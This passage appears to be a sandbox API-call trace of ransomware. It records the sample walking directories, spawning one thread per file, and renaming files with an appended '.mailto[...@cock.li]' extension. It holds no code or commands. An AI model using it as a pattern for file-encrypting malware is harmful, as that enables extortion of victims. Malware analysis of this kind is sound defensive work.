[0062.487] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bf28) returned 1 [0062.487] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e03c0 [0062.487] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.487] WriteFile (in: hFile=0x1168, lpBuffer=0x12d7d8b8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x19ebfefc, lpOverlapped=0x0 | out: lpBuffer=0x12d7d8b8*, lpNumberOfBytesWritten=0x19ebfefc*=0x109, lpOverlapped=0x0) returned 1 [0062.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d8b8) returned 1 [0062.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e03f0) returned 1 [0062.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0498) returned 1 [0062.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e03c0) returned 1 [0062.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0448) returned 1 [0062.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf4d8) returned 1 [0062.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf578) returned 1 [0062.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf5a0) returned 1 [0062.835] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d4380 [0062.835] wcscpy (in: _Dest=0x4d4380, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" [0062.835] wcscat (in: _Dest=0x4d4380, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF.mailto[2Hamlampampom@cock.li].cd46d" [0062.835] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x19ebfeb4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.836] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xec) returned 0x4de4d8 [0063.173] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de4d8) returned 1 [0063.173] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1ec78) returned 1 [0063.173] NtQueryInformationFile (in: FileHandle=0x1168, IoStatusBlock=0x19ebfec0, FileInformation=0x19ebfe98, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x19ebfec0, FileInformation=0x19ebfe98) returned 0x0 [0063.173] NtSetInformationFile (FileHandle=0x1168, IoStatusBlock=0x19ebfec0, FileInformation=0x19ebfe98, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.175] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4380) returned 1 [0063.175] FlushFileBuffers (hFile=0x1168) returned 1 [0066.202] CloseHandle (hObject=0x1168) Thread: id = 1096 os_tid = 0x101c [0059.441] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa4) returned 0x442e60 [0059.441] wcscpy (in: _Dest=0x442e60, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0059.441] wcscat (in: _Dest=0x442e60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0059.441] wcscat (in: _Dest=0x442e60, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*" [0059.441] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45a3d0 [0059.442] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a62e0 [0061.839] wcscmp (_String1=".", _String2=".") returned 0 [0061.839] FindNextFileW (in: hFindFile=0x4a62e0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.839] wcscmp (_String1="..", _String2=".") returned 1 [0061.839] wcscmp (_String1="..", _String2="..") returned 0 [0061.839] FindNextFileW (in: hFindFile=0x4a62e0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb848fc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0x7bb848fc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0x7bb848fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3ec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.APL", cAlternateFileName="")) returned 1 [0061.839] wcscmp (_String1="M1033DSK.APL", _String2=".") returned 1 [0061.839] wcscmp (_String1="M1033DSK.APL", _String2="..") returned 1 [0061.839] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d5f0 [0061.839] wcscpy (in: _Dest=0x12f4d5f0, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0061.839] wcscat (in: _Dest=0x12f4d5f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0061.839] wcscat (in: _Dest=0x12f4d5f0, _Source="M1033DSK.APL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.APL") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.APL" [0065.398] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12f4d5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0065.398] FindNextFileW (in: hFindFile=0x4a62e0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7650f9d, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7650f9d, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7bc1ce7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x764f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.CRT", cAlternateFileName="")) returned 1 [0065.398] wcscmp (_String1="M1033DSK.CRT", _String2=".") returned 1 [0065.399] wcscmp (_String1="M1033DSK.CRT", _String2="..") returned 1 [0065.399] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4daa0 [0065.399] wcscpy (in: _Dest=0x12f4daa0, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0065.399] wcscat (in: _Dest=0x12f4daa0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0065.399] wcscat (in: _Dest=0x12f4daa0, _Source="M1033DSK.CRT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT" [0065.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12f4daa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a4 [0065.400] FindNextFileW (in: hFindFile=0x4a62e0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77357d7, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc77357d7, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7c84ff3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1c6aed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.CSD", cAlternateFileName="")) returned 1 [0065.400] wcscmp (_String1="M1033DSK.CSD", _String2=".") returned 1 [0065.400] wcscmp (_String1="M1033DSK.CSD", _String2="..") returned 1 [0065.400] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d910 [0065.400] wcscpy (in: _Dest=0x12f4d910, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0065.400] wcscat (in: _Dest=0x12f4d910, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0065.400] wcscat (in: _Dest=0x12f4d910, _Source="M1033DSK.CSD" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CSD") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CSD" [0065.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12f4d910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a8 [0065.401] FindNextFileW (in: hFindFile=0x4a62e0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d9b2cc, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7d9b2cc, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7c93477c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2059c, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.IDX", cAlternateFileName="")) returned 1 [0065.401] wcscmp (_String1="M1033DSK.IDX", _String2=".") returned 1 [0065.401] wcscmp (_String1="M1033DSK.IDX", _String2="..") returned 1 [0065.401] FindNextFileW (in: hFindFile=0x4a62e0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7e0d6e9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7e0d6e9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7da2a43c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xe3770, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.LTS", cAlternateFileName="")) returned 1 [0065.401] wcscmp (_String1="M1033DSK.LTS", _String2=".") returned 1 [0065.401] wcscmp (_String1="M1033DSK.LTS", _String2="..") returned 1 [0065.401] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d460 [0065.401] wcscpy (in: _Dest=0x12f4d460, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0065.401] wcscat (in: _Dest=0x12f4d460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0065.401] wcscat (in: _Dest=0x12f4d460, _Source="M1033DSK.LTS" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.LTS") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.LTS" [0065.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12f4d460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14ac [0065.402] FindNextFileW (in: hFindFile=0x4a62e0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f8a49f, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7f8a49f, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dc3f77c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2515b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.TTS", cAlternateFileName="")) returned 1 [0065.402] wcscmp (_String1="M1033DSK.TTS", _String2=".") returned 1 [0065.402] wcscmp (_String1="M1033DSK.TTS", _String2="..") returned 1 [0065.402] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d6b8 [0065.402] wcscpy (in: _Dest=0x12f4d6b8, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0065.402] wcscat (in: _Dest=0x12f4d6b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0065.402] wcscat (in: _Dest=0x12f4d6b8, _Source="M1033DSK.TTS" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.TTS") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.TTS" [0065.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12f4d6b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b0 [0065.404] FindNextFileW (in: hFindFile=0x4a62e0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc812d3b4, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc812d3b4, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dcfde5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.UDT", cAlternateFileName="")) returned 1 [0065.404] wcscmp (_String1="M1033DSK.UDT", _String2=".") returned 1 [0065.404] wcscmp (_String1="M1033DSK.UDT", _String2="..") returned 1 [0065.404] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d2d0 [0065.404] wcscpy (in: _Dest=0x12f4d2d0, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0065.404] wcscat (in: _Dest=0x12f4d2d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0065.404] wcscat (in: _Dest=0x12f4d2d0, _Source="M1033DSK.UDT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UDT") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UDT" [0065.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12f4d2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b4 [0065.405] FindNextFileW (in: hFindFile=0x4a62e0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8153513, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc8153513, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7df1319c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x308e50, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.UNT", cAlternateFileName="")) returned 1 [0065.405] wcscmp (_String1="M1033DSK.UNT", _String2=".") returned 1 [0065.405] wcscmp (_String1="M1033DSK.UNT", _String2="..") returned 1 [0065.405] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d848 [0065.405] wcscpy (in: _Dest=0x12f4d848, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0065.405] wcscat (in: _Dest=0x12f4d848, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0065.405] wcscat (in: _Dest=0x12f4d848, _Source="M1033DSK.UNT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UNT") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UNT" [0065.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12f4d848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b8 [0065.406] FindNextFileW (in: hFindFile=0x4a62e0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82d02c9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc82d02c9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dff79dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x36e466, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.WIH", cAlternateFileName="")) returned 1 [0065.406] wcscmp (_String1="M1033DSK.WIH", _String2=".") returned 1 [0065.406] wcscmp (_String1="M1033DSK.WIH", _String2="..") returned 1 [0065.406] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4db68 [0065.406] wcscpy (in: _Dest=0x12f4db68, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0065.406] wcscat (in: _Dest=0x12f4db68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0065.406] wcscat (in: _Dest=0x12f4db68, _Source="M1033DSK.WIH" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.WIH") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.WIH" [0065.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12f4db68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14bc [0065.407] FindNextFileW (in: hFindFile=0x4a62e0, lpFindFileData=0x45a3d0 | out: lpFindFileData=0x45a3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82d02c9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc82d02c9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dff79dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x36e466, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.WIH", cAlternateFileName="")) returned 0 [0065.407] FindClose (hFindFile=0x4a62e0) Thread: id = 1097 os_tid = 0xc90 [0059.443] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x4435f0 [0059.443] wcscpy (in: _Dest=0x4435f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" [0059.443] wcscat (in: _Dest=0x4435f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\" [0059.444] wcscat (in: _Dest=0x4435f0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*" [0059.444] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45afd8 [0059.444] FindFirstFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", lpFindFileData=0x45afd8) Thread: id = 1098 os_tid = 0x8e0 [0059.444] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x5ec4be8 [0059.444] wcscpy (in: _Dest=0x5ec4be8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" [0059.444] wcscat (in: _Dest=0x5ec4be8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\" [0059.444] wcscat (in: _Dest=0x5ec4be8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*" [0059.444] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45a168 [0059.444] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", lpFindFileData=0x45a168 | out: lpFindFileData=0x45a168*(dwFileAttributes=0x2010, 